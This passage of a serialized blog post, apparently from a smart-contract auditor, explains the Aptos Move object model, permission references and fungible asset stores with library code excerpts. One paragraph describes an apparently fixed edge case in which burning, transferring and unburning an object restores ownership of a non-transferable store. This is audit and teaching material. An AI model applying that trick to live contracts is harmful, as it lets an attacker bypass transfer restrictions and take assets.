untransferable_transfer",{"type":24,"tag":930,"props":67711,"children":67712},{"style":959},[67713],{"type":30,"value":1010},{"type":24,"tag":930,"props":67715,"children":67716},{"style":1023},[67717],{"type":30,"value":67718},"caller",{"type":24,"tag":930,"props":67720,"children":67721},{"style":1158},[67722],{"type":30,"value":476},{"type":24,"tag":930,"props":67724,"children":67725},{"style":1158},[67726],{"type":30,"value":10253},{"type":24,"tag":930,"props":67728,"children":67729},{"style":1023},[67730],{"type":30,"value":10258},{"type":24,"tag":930,"props":67732,"children":67733},{"style":959},[67734],{"type":30,"value":962},{"type":24,"tag":930,"props":67736,"children":67737},{"style":1023},[67738],{"type":30,"value":67739},"receipient",{"type":24,"tag":930,"props":67741,"children":67742},{"style":1158},[67743],{"type":30,"value":476},{"type":24,"tag":930,"props":67745,"children":67746},{"style":1023},[67747],{"type":30,"value":4529},{"type":24,"tag":930,"props":67749,"children":67750},{"style":959},[67751],{"type":30,"value":1503},{"type":24,"tag":930,"props":67753,"children":67754},{"class":932,"line":984},[67755,67759,67764,67768,67772,67776,67781,67785,67789,67793,67797,67801],{"type":24,"tag":930,"props":67756,"children":67757},{"style":937},[67758],{"type":30,"value":6122},{"type":24,"tag":930,"props":67760,"children":67761},{"style":1023},[67762],{"type":30,"value":67763}," constructor_ref",{"type":24,"tag":930,"props":67765,"children":67766},{"style":1158},[67767],{"type":30,"value":6137},{"type":24,"tag":930,"props":67769,"children":67770},{"style":959},[67771],{"type":30,"value":65580},{"type":24,"tag":930,"props":67773,"children":67774},{"style":1158},[67775],{"type":30,"value":6597},{"type":24,"tag":930,"props":67777,"children":67778},{"style":1002},[67779],{"type":30,"value":67780},"create_object",{"type":24,"tag":930,"props":67782,"children":67783},{"style":959},[67784],{"type":30,"value":10312},{"type":24,"tag":930,"props":67786,"children":67787},{"style":1158},[67788],{"type":30,"value":6597},{"type":24,"tag":930,"props":67790,"children":67791},{"style":1002},[67792],{"type":30,"value":10321},{"type":24,"tag":930,"props":67794,"children":67795},{"style":959},[67796],{"type":30,"value":1010},{"type":24,"tag":930,"props":67798,"children":67799},{"style":1023},[67800],{"type":30,"value":67718},{"type":24,"tag":930,"props":67802,"children":67803},{"style":959},[67804],{"type":30,"value":2058},{"type":24,"tag":930,"props":67806,"children":67807},{"class":932,"line":993},[67808,67812,67816,67820,67824,67828,67833,67837,67841,67845],{"type":24,"tag":930,"props":67809,"children":67810},{"style":937},[67811],{"type":30,"value":6122},{"type":24,"tag":930,"props":67813,"children":67814},{"style":1023},[67815],{"type":30,"value":67166},{"type":24,"tag":930,"props":67817,"children":67818},{"style":1158},[67819],{"type":30,"value":6137},{"type":24,"tag":930,"props":67821,"children":67822},{"style":959},[67823],{"type":30,"value":65580},{"type":24,"tag":930,"props":67825,"children":67826},{"style":1158},[67827],{"type":30,"value":6597},{"type":24,"tag":930,"props":67829,"children":67830},{"style":1002},[67831],{"type":30,"value":67832},"address_from_constructor_ref",{"type":24,"tag":930,"props":67834,"children":67835},{"style":959},[67836],{"type":30,"value":1010},{"type":24,"tag":930,"props":67838,"children":67839},{"style":1158},[67840],{"type":30,"value":6230},{"type":24,"tag":930,"props":67842,"children":67843},{"style":1023},[67844],{"type":30,"value":66014},{"type":24,"tag":930,"props":67846,"children":67847},{"style":959},[67848],{"type":30,"value":1278},{"type":24,"tag":930,"props":67850,"children":67851},{"class":932,"line":1057},[67852,67856,67860,67864,67869,67873,67877,67881,67885,67889,67893],{"type":24,"tag":930,"props":67853,"children":67854},{"style":937},[67855],{"type":30,"value":6122},{"type":24,"tag":930,"props":67857,"children":67858},{"style":1023},[67859],{"type":30,"value":8943},{"type":24,"tag":930,"props":67861,"children":67862},{"style":1158},[67863],{"type":30,"value":6137},{"type":24,"tag":930,"props":67865,"children":67866},{"style":959},[67867],{"type":30,"value":67868}," primary_fungible_store",{"type":24,"tag":930,"props":67870,"children":67871},{"style":1158},[67872],{"type":30,"value":6597},{"type":24,"tag":930,"props":67874,"children":67875},{"style":1002},[67876],{"type":30,"value":65906},{"type":24,"tag":930,"props":67878,"children":67879},{"style":959},[67880],{"type":30,"value":1010},{"type":24,"tag":930,"props":67882,"children":67883},{"style":1023},[67884],{"type":30,"value":67212},{"type":24,"tag":930,"props":67886,"children":67887},{"style":959},[67888],{"type":30,"value":962},{"type":24,"tag":930,"props":67890,"children":67891},{"style":1002},[67892],{"type":30,"value":65862},{"type":24,"tag":930,"props":67894,"children":67895},{"style":959},[67896],{"type":30,"value":18528},{"type":24,"tag":930,"props":67898,"children":67899},{"class":932,"line":1066},[67900],{"type":24,"tag":930,"props":67901,"children":67902},{"emptyLinePlaceholder":16},[67903],{"type":30,"value":2412},{"type":24,"tag":930,"props":67905,"children":67906},{"class":932,"line":1075},[67907,67912,67916,67921,67925,67929,67933,67937,67941,67945],{"type":24,"tag":930,"props":67908,"children":67909},{"style":959},[67910],{"type":30,"value":67911},"    object",{"type":24,"tag":930,"props":67913,"children":67914},{"style":1158},[67915],{"type":30,"value":6597},{"type":24,"tag":930,"props":67917,"children":67918},{"style":1002},[67919],{"type":30,"value":67920},"transfer_raw",{"type":24,"tag":930,"props":67922,"children":67923},{"style":959},[67924],{"type":30,"value":1010},{"type":24,"tag":930,"props":67926,"children":67927},{"style":1023},[67928],{"type":30,"value":67718},{"type":24,"tag":930,"props":67930,"children":67931},{"style":959},[67932],{"type":30,"value":962},{"type":24,"tag":930,"props":67934,"children":67935},{"style":1023},[67936],{"type":30,"value":67212},{"type":24,"tag":930,"props":67938,"children":67939},{"style":959},[67940],{"type":30,"value":962},{"type":24,"tag":930,"props":67942,"children":67943},{"style":1023},[67944],{"type":30,"value":67739},{"type":24,"tag":930,"props":67946,"children":67947},{"style":959},[67948],{"type":30,"value":1278},{"type":24,"tag":930,"props":67950,"children":67951},{"class":932,"line":1122},[67952],{"type":24,"tag":930,"props":67953,"children":67954},{"style":1422},[67955],{"type":30,"value":67956},"    //receipient can interact with store by using their signer\n",{"type":24,"tag":930,"props":67958,"children":67959},{"class":932,"line":1131},[67960],{"type":24,"tag":930,"props":67961,"children":67962},{"style":959},[67963],{"type":30,"value":2528},{"type":24,"tag":33,"props":67965,"children":67966},{},[67967,67969,67976],{"type":30,"value":67968},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":24,"tag":37,"props":67970,"children":67973},{"href":67971,"rel":67972},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[41],[67974],{"type":30,"value":67975},"edge case",{"type":30,"value":67977}," involving the transfer of a non-transferable fungible store.",{"type":24,"tag":920,"props":67979,"children":67981},{"className":6102,"code":67980,"language":6101,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[67982],{"type":24,"tag":156,"props":67983,"children":67984},{"__ignoreMap":7},[67985,68050,68111,68158,68169,68204,68224,68231,68238,68253,68260,68288],{"type":24,"tag":930,"props":67986,"children":67987},{"class":932,"line":933},[67988,67992,67996,68001,68005,68009,68013,68018,68022,68026,68030,68034,68038,68042,68046],{"type":24,"tag":930,"props":67989,"children":67990},{"style":1023},[67991],{"type":30,"value":64762},{"type":24,"tag":930,"props":67993,"children":67994},{"style":1023},[67995],{"type":30,"value":9320},{"type":24,"tag":930,"props":67997,"children":67998},{"style":1002},[67999],{"type":30,"value":68000}," transfer_with_ref",{"type":24,"tag":930,"props":68002,"children":68003},{"style":959},[68004],{"type":30,"value":1010},{"type":24,"tag":930,"props":68006,"children":68007},{"style":937},[68008],{"type":30,"value":66423},{"type":24,"tag":930,"props":68010,"children":68011},{"style":1158},[68012],{"type":30,"value":476},{"type":24,"tag":930,"props":68014,"children":68015},{"style":943},[68016],{"type":30,"value":68017}," LinearTransferRef",{"type":24,"tag":930,"props":68019,"children":68020},{"style":959},[68021],{"type":30,"value":962},{"type":24,"tag":930,"props":68023,"children":68024},{"style":1023},[68025],{"type":30,"value":35815},{"type":24,"tag":930,"props":68027,"children":68028},{"style":1158},[68029],{"type":30,"value":476},{"type":24,"tag":930,"props":68031,"children":68032},{"style":1023},[68033],{"type":30,"value":4529},{"type":24,"tag":930,"props":68035,"children":68036},{"style":959},[68037],{"type":30,"value":5579},{"type":24,"tag":930,"props":68039,"children":68040},{"style":1023},[68041],{"type":30,"value":9456},{"type":24,"tag":930,"props":68043,"children":68044},{"style":943},[68045],{"type":30,"value":67059},{"type":24,"tag":930,"props":68047,"children":68048},{"style":959},[68049],{"type":30,"value":981},{"type":24,"tag":930,"props":68051,"children":68052},{"class":932,"line":984},[68053,68057,68061,68065,68069,68073,68078,68082,68086,68090,68094,68098,68102,68106],{"type":24,"tag":930,"props":68054,"children":68055},{"style":1002},[68056],{"type":30,"value":65430},{"type":24,"tag":930,"props":68058,"children":68059},{"style":959},[68060],{"type":30,"value":1010},{"type":24,"tag":930,"props":68062,"children":68063},{"style":1158},[68064],{"type":30,"value":3299},{"type":24,"tag":930,"props":68066,"children":68067},{"style":1023},[68068],{"type":30,"value":9816},{"type":24,"tag":930,"props":68070,"children":68071},{"style":959},[68072],{"type":30,"value":1350},{"type":24,"tag":930,"props":68074,"children":68075},{"style":943},[68076],{"type":30,"value":68077},"Untransferable",{"type":24,"tag":930,"props":68079,"children":68080},{"style":959},[68081],{"type":30,"value":10721},{"type":24,"tag":930,"props":68083,"children":68084},{"style":937},[68085],{"type":30,"value":66423},{"type":24,"tag":930,"props":68087,"children":68088},{"style":1158},[68089],{"type":30,"value":436},{"type":24,"tag":930,"props":68091,"children":68092},{"style":937},[68093],{"type":30,"value":16820},{"type":24,"tag":930,"props":68095,"children":68096},{"style":959},[68097],{"type":30,"value":66019},{"type":24,"tag":930,"props":68099,"children":68100},{"style":1158},[68101],{"type":30,"value":6597},{"type":24,"tag":930,"props":68103,"children":68104},{"style":1002},[68105],{"type":30,"value":66904},{"type":24,"tag":930,"props":68107,"children":68108},{"style":959},[68109],{"type":30,"value":68110},"(ENOT_MOVABLE));\n",{"type":24,"tag":930,"props":68112,"children":68113},{"class":932,"line":993},[68114,68118,68122,68126,68130,68134,68138,68142,68146,68150,68154],{"type":24,"tag":930,"props":68115,"children":68116},{"style":937},[68117],{"type":30,"value":6122},{"type":24,"tag":930,"props":68119,"children":68120},{"style":1023},[68121],{"type":30,"value":65580},{"type":24,"tag":930,"props":68123,"children":68124},{"style":1158},[68125],{"type":30,"value":6137},{"type":24,"tag":930,"props":68127,"children":68128},{"style":1023},[68129],{"type":30,"value":10707},{"type":24,"tag":930,"props":68131,"children":68132},{"style":959},[68133],{"type":30,"value":1350},{"type":24,"tag":930,"props":68135,"children":68136},{"style":943},[68137],{"type":30,"value":67554},{"type":24,"tag":930,"props":68139,"children":68140},{"style":959},[68141],{"type":30,"value":10721},{"type":24,"tag":930,"props":68143,"children":68144},{"style":937},[68145],{"type":30,"value":66423},{"type":24,"tag":930,"props":68147,"children":68148},{"style":1158},[68149],{"type":30,"value":436},{"type":24,"tag":930,"props":68151,"children":68152},{"style":937},[68153],{"type":30,"value":16820},{"type":24,"tag":930,"props":68155,"children":68156},{"style":959},[68157],{"type":30,"value":1278},{"type":24,"tag":930,"props":68159,"children":68160},{"class":932,"line":1057},[68161,68165],{"type":24,"tag":930,"props":68162,"children":68163},{"style":1002},[68164],{"type":30,"value":65430},{"type":24,"tag":930,"props":68166,"children":68167},{"style":959},[68168],{"type":30,"value":2814},{"type":24,"tag":930,"props":68170,"children":68171},{"class":932,"line":1066},[68172,68177,68181,68186,68190,68195,68199],{"type":24,"tag":930,"props":68173,"children":68174},{"style":1023},[68175],{"type":30,"value":68176},"        object",{"type":24,"tag":930,"props":68178,"children":68179},{"style":1158},[68180],{"type":30,"value":436},{"type":24,"tag":930,"props":68182,"children":68183},{"style":959},[68184],{"type":30,"value":68185},"owner ",{"type":24,"tag":930,"props":68187,"children":68188},{"style":1158},[68189],{"type":30,"value":1239},{"type":24,"tag":930,"props":68191,"children":68192},{"style":937},[68193],{"type":30,"value":68194}," ref",{"type":24,"tag":930,"props":68196,"children":68197},{"style":1158},[68198],{"type":30,"value":436},{"type":24,"tag":930,"props":68200,"children":68201},{"style":959},[68202],{"type":30,"value":68203},"owner,\n",{"type":24,"tag":930,"props":68205,"children":68206},{"class":932,"line":1075},[68207,68212,68216,68220],{"type":24,"tag":930,"props":68208,"children":68209},{"style":959},[68210],{"type":30,"value":68211},"        error",{"type":24,"tag":930,"props":68213,"children":68214},{"style":1158},[68215],{"type":30,"value":6597},{"type":24,"tag":930,"props":68217,"children":68218},{"style":1002},[68219],{"type":30,"value":66904},{"type":24,"tag":930,"props":68221,"children":68222},{"style":959},[68223],{"type":30,"value":67588},{"type":24,"tag":930,"props":68225,"children":68226},{"class":932,"line":1122},[68227],{"type":24,"tag":930,"props":68228,"children":68229},{"style":959},[68230],{"type":30,"value":46746},{"type":24,"tag":930,"props":68232,"children":68233},{"class":932,"line":1131},[68234],{"type":24,"tag":930,"props":68235,"children":68236},{"style":959},[68237],{"type":30,"value":64873},{"type":24,"tag":930,"props":68239,"children":68240},{"class":932,"line":1144},[68241,68245,68249],{"type":24,"tag":930,"props":68242,"children":68243},{"style":959},[68244],{"type":30,"value":65804},{"type":24,"tag":930,"props":68246,"children":68247},{"style":1158},[68248],{"type":30,"value":12699},{"type":24,"tag":930,"props":68250,"children":68251},{"style":959},[68252],{"type":30,"value":14879},{"type":24,"tag":930,"props":68254,"children":68255},{"class":932,"line":1169},[68256],{"type":24,"tag":930,"props":68257,"children":68258},{"style":959},[68259],{"type":30,"value":64873},{"type":24,"tag":930,"props":68261,"children":68262},{"class":932,"line":1191},[68263,68267,68271,68275,68279,68284],{"type":24,"tag":930,"props":68264,"children":68265},{"style":1023},[68266],{"type":30,"value":67911},{"type":24,"tag":930,"props":68268,"children":68269},{"style":1158},[68270],{"type":30,"value":436},{"type":24,"tag":930,"props":68272,"children":68273},{"style":959},[68274],{"type":30,"value":68185},{"type":24,"tag":930,"props":68276,"children":68277},{"style":1158},[68278],{"type":30,"value":1161},{"type":24,"tag":930,"props":68280,"children":68281},{"style":1023},[68282],{"type":30,"value":68283}," to",{"type":24,"tag":930,"props":68285,"children":68286},{"style":959},[68287],{"type":30,"value":5539},{"type":24,"tag":930,"props":68289,"children":68290},{"class":932,"line":1223},[68291],{"type":24,"tag":930,"props":68292,"children":68293},{"style":959},[68294],{"type":30,"value":2528},{"type":24,"tag":33,"props":68296,"children":68297},{},[68298,68300,68305,68307,68312],{"type":30,"value":68299},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":24,"tag":156,"props":68301,"children":68303},{"className":68302},[],[68304],{"type":30,"value":66957},{"type":30,"value":68306},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":24,"tag":156,"props":68308,"children":68310},{"className":68309},[],[68311],{"type":30,"value":10258},{"type":30,"value":68313}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":24,"tag":151,"props":68315,"children":68317},{"id":68316},"references",[68318],{"type":30,"value":68319},"References",{"type":24,"tag":33,"props":68321,"children":68322},{},[68323,68328,68330,68336,68338,68343,68345,68350],{"type":24,"tag":156,"props":68324,"children":68326},{"className":68325},[],[68327],{"type":30,"value":68319},{"type":30,"value":68329}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":24,"tag":156,"props":68331,"children":68333},{"className":68332},[],[68334],{"type":30,"value":68335},"Refs",{"type":30,"value":68337}," are based on the ",{"type":24,"tag":156,"props":68339,"children":68341},{"className":68340},[],[68342],{"type":30,"value":51940},{"type":30,"value":68344}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":24,"tag":156,"props":68346,"children":68348},{"className":68347},[],[68349],{"type":30,"value":51940},{"type":30,"value":68351}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":24,"tag":33,"props":68353,"children":68354},{},[68355,68357,68362,68364,68369,68370,68376,68378,68383,68385,68390],{"type":30,"value":68356},"Let's get back to the ",{"type":24,"tag":156,"props":68358,"children":68360},{"className":68359},[],[68361],{"type":30,"value":65162},{"type":30,"value":68363}," deletion example. Both ",{"type":24,"tag":156,"props":68365,"children":68367},{"className":68366},[],[68368],{"type":30,"value":66446},{"type":30,"value":211},{"type":24,"tag":156,"props":68371,"children":68373},{"className":68372},[],[68374],{"type":30,"value":68375},"fungible_asset::remove_store",{"type":30,"value":68377}," use the same object-specific ",{"type":24,"tag":156,"props":68379,"children":68381},{"className":68380},[],[68382],{"type":30,"value":66379},{"type":30,"value":68384}," permission. It can be created only during object creation. There is no separate ",{"type":24,"tag":156,"props":68386,"children":68388},{"className":68387},[],[68389],{"type":30,"value":66379},{"type":30,"value":68391}," for fungible assets.",{"type":24,"tag":920,"props":68393,"children":68394},{"className":6102,"code":66329,"language":6101,"meta":7,"style":7},[68395],{"type":24,"tag":156,"props":68396,"children":68397},{"__ignoreMap":7},[68398,68405,68444,68451,68458],{"type":24,"tag":930,"props":68399,"children":68400},{"class":932,"line":933},[68401],{"type":24,"tag":930,"props":68402,"children":68403},{"style":1422},[68404],{"type":30,"value":66341},{"type":24,"tag":930,"props":68406,"children":68407},{"class":932,"line":984},[68408,68412,68416,68420,68424,68428,68432,68436,68440],{"type":24,"tag":930,"props":68409,"children":68410},{"style":1023},[68411],{"type":30,"value":64762},{"type":24,"tag":930,"props":68413,"children":68414},{"style":1023},[68415],{"type":30,"value":9320},{"type":24,"tag":930,"props":68417,"children":68418},{"style":1002},[68419],{"type":30,"value":66357},{"type":24,"tag":930,"props":68421,"children":68422},{"style":959},[68423],{"type":30,"value":1010},{"type":24,"tag":930,"props":68425,"children":68426},{"style":1023},[68427],{"type":30,"value":66366},{"type":24,"tag":930,"props":68429,"children":68430},{"style":1158},[68431],{"type":30,"value":476},{"type":24,"tag":930,"props":68433,"children":68434},{"style":1158},[68435],{"type":30,"value":10253},{"type":24,"tag":930,"props":68437,"children":68438},{"style":943},[68439],{"type":30,"value":66379},{"type":24,"tag":930,"props":68441,"children":68442},{"style":959},[68443],{"type":30,"value":1054},{"type":24,"tag":930,"props":68445,"children":68446},{"class":932,"line":993},[68447],{"type":24,"tag":930,"props":68448,"children":68449},{"emptyLinePlaceholder":16},[68450],{"type":30,"value":2412},{"type":24,"tag":930,"props":68452,"children":68453},{"class":932,"line":1057},[68454],{"type":24,"tag":930,"props":68455,"children":68456},{"style":1422},[68457],{"type":30,"value":66398},{"type":24,"tag":930,"props":68459,"children":68460},{"class":932,"line":1066},[68461,68465,68469,68473,68477,68481,68485,68489],{"type":24,"tag":930,"props":68462,"children":68463},{"style":1023},[68464],{"type":30,"value":64762},{"type":24,"tag":930,"props":68466,"children":68467},{"style":1023},[68468],{"type":30,"value":9320},{"type":24,"tag":930,"props":68470,"children":68471},{"style":1002},[68472],{"type":30,"value":66414},{"type":24,"tag":930,"props":68474,"children":68475},{"style":959},[68476],{"type":30,"value":1010},{"type":24,"tag":930,"props":68478,"children":68479},{"style":937},[68480],{"type":30,"value":66423},{"type":24,"tag":930,"props":68482,"children":68483},{"style":1158},[68484],{"type":30,"value":476},{"type":24,"tag":930,"props":68486,"children":68487},{"style":943},[68488],{"type":30,"value":66432},{"type":24,"tag":930,"props":68490,"children":68491},{"style":959},[68492],{"type":30,"value":1054},{"type":24,"tag":33,"props":68494,"children":68495},{},[68496,68498,68503,68505,68511],{"type":30,"value":68497},"On the other hand, the \"frozen\" status of a ",{"type":24,"tag":156,"props":68499,"children":68501},{"className":68500},[],[68502],{"type":30,"value":65162},{"type":30,"value":68504}," is toggled using a ",{"type":24,"tag":156,"props":68506,"children":68508},{"className":68507},[],[68509],{"type":30,"value":68510},"TransferRef",{"type":30,"value":68512},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":24,"tag":920,"props":68514,"children":68516},{"className":6102,"code":68515,"language":6101,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[68517],{"type":24,"tag":156,"props":68518,"children":68519},{"__ignoreMap":7},[68520,68556,68580,68607,68626],{"type":24,"tag":930,"props":68521,"children":68522},{"class":932,"line":933},[68523,68527,68531,68536,68540,68544,68548,68552],{"type":24,"tag":930,"props":68524,"children":68525},{"style":1023},[68526],{"type":30,"value":64762},{"type":24,"tag":930,"props":68528,"children":68529},{"style":1023},[68530],{"type":30,"value":9320},{"type":24,"tag":930,"props":68532,"children":68533},{"style":1023},[68534],{"type":30,"value":68535}," set_frozen_flag",{"type":24,"tag":930,"props":68537,"children":68538},{"style":959},[68539],{"type":30,"value":1350},{"type":24,"tag":930,"props":68541,"children":68542},{"style":943},[68543],{"type":30,"value":9100},{"type":24,"tag":930,"props":68545,"children":68546},{"style":1158},[68547],{"type":30,"value":476},{"type":24,"tag":930,"props":68549,"children":68550},{"style":1023},[68551],{"type":30,"value":9044},{"type":24,"tag":930,"props":68553,"children":68554},{"style":959},[68555],{"type":30,"value":9700},{"type":24,"tag":930,"props":68557,"children":68558},{"class":932,"line":984},[68559,68564,68568,68572,68576],{"type":24,"tag":930,"props":68560,"children":68561},{"style":937},[68562],{"type":30,"value":68563},"    ref",{"type":24,"tag":930,"props":68565,"children":68566},{"style":1158},[68567],{"type":30,"value":476},{"type":24,"tag":930,"props":68569,"children":68570},{"style":1158},[68571],{"type":30,"value":10253},{"type":24,"tag":930,"props":68573,"children":68574},{"style":943},[68575],{"type":30,"value":68510},{"type":24,"tag":930,"props":68577,"children":68578},{"style":959},[68579],{"type":30,"value":2832},{"type":24,"tag":930,"props":68581,"children":68582},{"class":932,"line":993},[68583,68587,68591,68595,68599,68603],{"type":24,"tag":930,"props":68584,"children":68585},{"style":1023},[68586],{"type":30,"value":32504},{"type":24,"tag":930,"props":68588,"children":68589},{"style":1158},[68590],{"type":30,"value":476},{"type":24,"tag":930,"props":68592,"children":68593},{"style":943},[68594],{"type":30,"value":64648},{"type":24,"tag":930,"props":68596,"children":68597},{"style":959},[68598],{"type":30,"value":1350},{"type":24,"tag":930,"props":68600,"children":68601},{"style":943},[68602],{"type":30,"value":9100},{"type":24,"tag":930,"props":68604,"children":68605},{"style":959},[68606],{"type":30,"value":9251},{"type":24,"tag":930,"props":68608,"children":68609},{"class":932,"line":1057},[68610,68614,68618,68622],{"type":24,"tag":930,"props":68611,"children":68612},{"style":1023},[68613],{"type":30,"value":64300},{"type":24,"tag":930,"props":68615,"children":68616},{"style":1158},[68617],{"type":30,"value":476},{"type":24,"tag":930,"props":68619,"children":68620},{"style":943},[68621],{"type":30,"value":15157},{"type":24,"tag":930,"props":68623,"children":68624},{"style":959},[68625],{"type":30,"value":2832},{"type":24,"tag":930,"props":68627,"children":68628},{"class":932,"line":1066},[68629],{"type":24,"tag":930,"props":68630,"children":68631},{"style":959},[68632],{"type":30,"value":1054},{"type":24,"tag":33,"props":68634,"children":68635},{},[68636,68637,68642,68643,68648],{"type":30,"value":259},{"type":24,"tag":156,"props":68638,"children":68640},{"className":68639},[],[68641],{"type":30,"value":51940},{"type":30,"value":510},{"type":24,"tag":156,"props":68644,"children":68646},{"className":68645},[],[68647],{"type":30,"value":68510},{"type":30,"value":68649}," is used to transfer object ownership:",{"type":24,"tag":920,"props":68651,"children":68653},{"className":6102,"code":68652,"language":6101,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[68654],{"type":24,"tag":156,"props":68655,"children":68656},{"__ignoreMap":7},[68657,68665,68698,68717],{"type":24,"tag":930,"props":68658,"children":68659},{"class":932,"line":933},[68660],{"type":24,"tag":930,"props":68661,"children":68662},{"style":1422},[68663],{"type":30,"value":68664},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":24,"tag":930,"props":68666,"children":68667},{"class":932,"line":984},[68668,68672,68677,68681,68686,68690,68694],{"type":24,"tag":930,"props":68669,"children":68670},{"style":937},[68671],{"type":30,"value":12509},{"type":24,"tag":930,"props":68673,"children":68674},{"style":943},[68675],{"type":30,"value":68676}," TransferRef",{"type":24,"tag":930,"props":68678,"children":68679},{"style":1023},[68680],{"type":30,"value":12518},{"type":24,"tag":930,"props":68682,"children":68683},{"style":1023},[68684],{"type":30,"value":68685}," drop",{"type":24,"tag":930,"props":68687,"children":68688},{"style":959},[68689],{"type":30,"value":962},{"type":24,"tag":930,"props":68691,"children":68692},{"style":1023},[68693],{"type":30,"value":9053},{"type":24,"tag":930,"props":68695,"children":68696},{"style":959},[68697],{"type":30,"value":981},{"type":24,"tag":930,"props":68699,"children":68700},{"class":932,"line":993},[68701,68705,68709,68713],{"type":24,"tag":930,"props":68702,"children":68703},{"style":937},[68704],{"type":30,"value":23888},{"type":24,"tag":930,"props":68706,"children":68707},{"style":1158},[68708],{"type":30,"value":476},{"type":24,"tag":930,"props":68710,"children":68711},{"style":1023},[68712],{"type":30,"value":4529},{"type":24,"tag":930,"props":68714,"children":68715},{"style":959},[68716],{"type":30,"value":2832},{"type":24,"tag":930,"props":68718,"children":68719},{"class":932,"line":1057},[68720],{"type":24,"tag":930,"props":68721,"children":68722},{"style":959},[68723],{"type":30,"value":2528},{"type":24,"tag":33,"props":68725,"children":68726},{},[68727,68729,68734],{"type":30,"value":68728},"While the fungible asset's ",{"type":24,"tag":156,"props":68730,"children":68732},{"className":68731},[],[68733],{"type":30,"value":68510},{"type":30,"value":68735}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":24,"tag":920,"props":68737,"children":68739},{"className":6102,"code":68738,"language":6101,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[68740],{"type":24,"tag":156,"props":68741,"children":68742},{"__ignoreMap":7},[68743,68751,68759,68790,68817],{"type":24,"tag":930,"props":68744,"children":68745},{"class":932,"line":933},[68746],{"type":24,"tag":930,"props":68747,"children":68748},{"style":1422},[68749],{"type":30,"value":68750},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":24,"tag":930,"props":68752,"children":68753},{"class":932,"line":984},[68754],{"type":24,"tag":930,"props":68755,"children":68756},{"style":1422},[68757],{"type":30,"value":68758},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":24,"tag":930,"props":68760,"children":68761},{"class":932,"line":993},[68762,68766,68770,68774,68778,68782,68786],{"type":24,"tag":930,"props":68763,"children":68764},{"style":937},[68765],{"type":30,"value":12509},{"type":24,"tag":930,"props":68767,"children":68768},{"style":943},[68769],{"type":30,"value":68676},{"type":24,"tag":930,"props":68771,"children":68772},{"style":1023},[68773],{"type":30,"value":12518},{"type":24,"tag":930,"props":68775,"children":68776},{"style":1023},[68777],{"type":30,"value":68685},{"type":24,"tag":930,"props":68779,"children":68780},{"style":959},[68781],{"type":30,"value":962},{"type":24,"tag":930,"props":68783,"children":68784},{"style":1023},[68785],{"type":30,"value":9053},{"type":24,"tag":930,"props":68787,"children":68788},{"style":959},[68789],{"type":30,"value":981},{"type":24,"tag":930,"props":68791,"children":68792},{"class":932,"line":1057},[68793,68797,68801,68805,68809,68813],{"type":24,"tag":930,"props":68794,"children":68795},{"style":1023},[68796],{"type":30,"value":64639},{"type":24,"tag":930,"props":68798,"children":68799},{"style":1158},[68800],{"type":30,"value":476},{"type":24,"tag":930,"props":68802,"children":68803},{"style":943},[68804],{"type":30,"value":64648},{"type":24,"tag":930,"props":68806,"children":68807},{"style":959},[68808],{"type":30,"value":1350},{"type":24,"tag":930,"props":68810,"children":68811},{"style":943},[68812],{"type":30,"value":64657},{"type":24,"tag":930,"props":68814,"children":68815},{"style":959},[68816],{"type":30,"value":9105},{"type":24,"tag":930,"props":68818,"children":68819},{"class":932,"line":1066},[68820],{"type":24,"tag":930,"props":68821,"children":68822},{"style":959},[68823],{"type":30,"value":2528},{"type":24,"tag":33,"props":68825,"children":68826},{},[68827,68829,68835,68837,68843],{"type":30,"value":68828},"Additionally, there are fungible asset-specific references such as ",{"type":24,"tag":156,"props":68830,"children":68832},{"className":68831},[],[68833],{"type":30,"value":68834},"MintRef",{"type":30,"value":68836}," for minting and ",{"type":24,"tag":156,"props":68838,"children":68840},{"className":68839},[],[68841],{"type":30,"value":68842},"BurnRef",{"type":30,"value":68844}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":24,"tag":68,"props":68846,"children":68848},{"id":68847},"dispatchable-fungible-assets",[68849],{"type":30,"value":68850},"Dispatchable fungible assets",{"type":24,"tag":33,"props":68852,"children":68853},{},[68854],{"type":30,"value":68855},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":24,"tag":33,"props":68857,"children":68858},{},[68859],{"type":30,"value":68860},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":24,"tag":68862,"props":68863,"children":68864},"warning",{},[68865],{"type":24,"tag":33,"props":68866,"children":68867},{},[68868,68870,68876],{"type":30,"value":68869},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like 